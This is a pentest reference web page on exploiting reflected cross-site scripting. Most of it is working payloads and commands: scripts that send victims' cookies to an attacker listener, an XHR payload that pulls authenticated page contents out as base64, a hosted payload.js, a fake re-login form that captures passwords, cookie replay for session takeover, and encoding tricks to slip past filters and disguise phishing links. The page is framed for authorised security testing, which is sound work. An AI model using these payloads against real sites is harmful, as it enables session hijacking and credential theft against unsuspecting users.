# Reflected XSS Exploitation

- **URL:** https://hackindex.io/services/web/exploitation/reflected-xss-exploitation
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-03-16
- **Updated:** 2026-03-16

With a confirmed reflected XSS injection point, the primary impact in a pentest context is session hijacking via cookie theft, credential capture, and demonstrating full account takeover. This page covers building a working exploit URL and hosting the infrastructure needed to receive stolen data.

- **Cookie theft** exfiltrates session cookies to your listener via document.location or Image objects.
- **Session hijacking** replays stolen cookies to authenticate as the victim.
- **HttpOnly bypass** uses XHR/fetch to make authenticated requests and exfiltrate the response body.
- **Credential capture** injects a fake login form that posts to your server.
- **External JS loading** hosts complex payloads on your server, avoiding URL length limits.
- **Payload encoding** uses base64 with eval(atob()) or double-encoding to obscure the URL for delivery.

Confirming the injection point and verifying execution is covered in [Reflected XSS Checks](https://hackindex.io/services/web/vulnerability-discovery/reflected-xss-checks). When payloads are blocked by filters or WAFs, see [XSS filter bypass](https://hackindex.io/services/web/exploitation/xss-filter-bypass).

## Cookie Theft

The most direct impact. If session cookies are not marked `HttpOnly`, they are readable from JavaScript and can be sent to your server.

Host a listener to receive the cookie:

```bash
nc -lvnp $LPORT
```

Or a Python HTTP server for cleaner logging:

```bash
python3 -m http.server $LPORT
```

Build the payload that sends cookies to your server:

```
<script>document.location='http://$LHOST:$LPORT/?c='+document.cookie</script>
```

Test the payload directly in the injection parameter:

```bash
curl -sk "http://$TARGET_IP:$PORT/search?q=<script>document.location='http://$LHOST:$LPORT/?c='+document.cookie</script>"
```

The full exploit URL to send to a victim:

```
http://$TARGET_IP:$PORT/search?q=<script>document.location='http://$LHOST:$LPORT/?c='+document.cookie</script>
```

URL-encode the payload for cleaner delivery:

```bash
python3 -c "import urllib.parse; print(urllib.parse.quote(\"<script>document.location='http://$LHOST:$LPORT/?c='+document.cookie</script>\"))"
```

When the victim loads the URL, their browser executes the script and their session cookie appears in your listener as a GET request parameter.

## Session Hijacking

Once you have the session cookie, use it to take over the session:

```bash
curl -sk -b "session=STOLENVALUE" "http://$TARGET_IP:$PORT/dashboard"
```

In a browser, set the cookie via the developer console:

```javascript
document.cookie = "session=STOLENVALUE; path=/";
```

Then navigate to any authenticated page. If the application accepts the cookie, you are now authenticated as the victim.

## HttpOnly Cookie Bypass via XHR

When cookies are marked `HttpOnly`, JavaScript cannot read them directly. Use an XHR request to make an authenticated request from the victim's browser and exfiltrate the response:

```
<script>
  var xhr = new XMLHttpRequest();
  xhr.onload = function() {
    var exfil = new XMLHttpRequest();
    exfil.open('GET', 'http://$LHOST:$LPORT/?d=' + btoa(this.responseText), true);
    exfil.send();
  };
  xhr.open('GET', '/account/settings', true);
  xhr.send();
</script>
```

This makes an authenticated request to `/account/settings` using the victim's existing session and sends the base64-encoded response to your listener. Useful for extracting profile data, API keys, or tokens from the application without needing the raw cookie.

Decode the received data:

```bash
echo 'BASE64VALUE' | base64 -d
```

## External JavaScript Loading

For complex payloads that exceed URL length limits or contain characters that break URL encoding, host the payload as an external JavaScript file on your server. The injected tag is short and clean, while the full exploit logic lives in the hosted file:

```
<script src="http://$LHOST:$LPORT/payload.js"></script>
```

Create `payload.js` on your attacker machine with the full exploit logic. For example, a cookie theft payload:

```javascript
var img = new Image();
img.src = 'http://$LHOST:$LPORT/steal?c=' + encodeURIComponent(document.cookie);
```

Serve the file:

```bash
python3 -m http.server $LPORT
```

The exploit URL stays short regardless of payload complexity:

```
http://$TARGET_IP:$PORT/search?q=<script src="http://$LHOST:$LPORT/payload.js"></script>
```

This approach also lets you update the payload on the server side without changing the exploit URL. If CSP blocks external scripts, this technique does not work and you need inline payloads or a CSP bypass.

## Credential Capture via Fake Login Form

When the application does not use `HttpOnly` cookies and you want to capture plaintext credentials, inject a fake login form that posts to your server. This works best when the XSS lands on a page that users would expect to re-authenticate on:

```
<script>
  document.body.innerHTML='<form action="http://$LHOST:$LPORT/capture" method="POST"><h2>Session expired. Please log in again.</h2><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form>';
</script>
```

Receive credentials with netcat:

```bash
nc -lvnp $LPORT
```

Or a Python server that logs POST bodies:

```python
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers['Content-Length'])
        print(self.rfile.read(l).decode())
        self.send_response(200)
        self.end_headers()
    def log_message(self, *a): pass
http.server.HTTPServer(('0.0.0.0', $LPORT), H).serve_forever()
```

## Confirming HttpOnly Status

Before building your exploit, check which cookies are HttpOnly:

```bash
curl -sk -c /tmp/cookies.txt "http://$TARGET_IP:$PORT/login" -d "user=$USER&pass=$PASSWORD" -L
cat /tmp/cookies.txt
```

The `HttpOnly` flag appears in the cookie line. Alternatively, check response headers on login:

```bash
curl -sk -I -X POST "http://$TARGET_IP:$PORT/login" -d "user=$USER&pass=$PASSWORD"
```

A `Set-Cookie` header with `HttpOnly` means you cannot read it via `document.cookie` and need the XHR approach.

## Encoding Chains and Double Encoding

When basic payloads are blocked by a WAF or input filter, encoding can bypass the check. Some applications decode input multiple times, which means a double-encoded payload passes the first filter check and gets decoded into the real payload on the second pass.

Standard encoding of `<script>`:

```
%3Cscript%3E         (single URL-encode)
%253Cscript%253E     (double URL-encode)
```

The filter sees `%253C` which does not match `<` or `%3C`. The server decodes it once to `%3Cscript%3E`, then the application or framework decodes it again to `<script>`. Generate double-encoded payloads:

```bash
python3 -c "import urllib.parse; p='<script>alert(document.domain)</script>'; print(urllib.parse.quote(urllib.parse.quote(p)))"
```

Other encoding variations worth testing against filters:

- HTML entity encoding: `&lt;script&gt;` in attribute contexts
- Unicode escapes: `\u003cscript\u003e` in JavaScript contexts
- Mixed encoding: combine URL encoding with HTML entities in the same payload

Test one layer at a time. If single encoding is stripped, try double. If both are stripped, the filter is likely decoding recursively and this approach will not work.

## URL Shortening for Delivery

Long XSS URLs with raw payloads look suspicious. For social engineering delivery in scope, shorten the URL or encode the payload in a less recognizable form. Base64 with eval avoids obvious keywords in the URL:

```bash
echo -n "document.location='http://$LHOST:$LPORT/?c='+document.cookie" | base64
```

Payload:

```
<script>eval(atob('BASE64HERE'))</script>
```

This encodes the malicious part and only leaves `eval(atob(...))` visible in the URL.

## References

- [PortSwigger Web Security Academy: Exploiting XSS](https://portswigger.net/web-security/cross-site-scripting/exploiting) - Covers cookie theft, session hijacking, and credential capture via XSS with worked examples
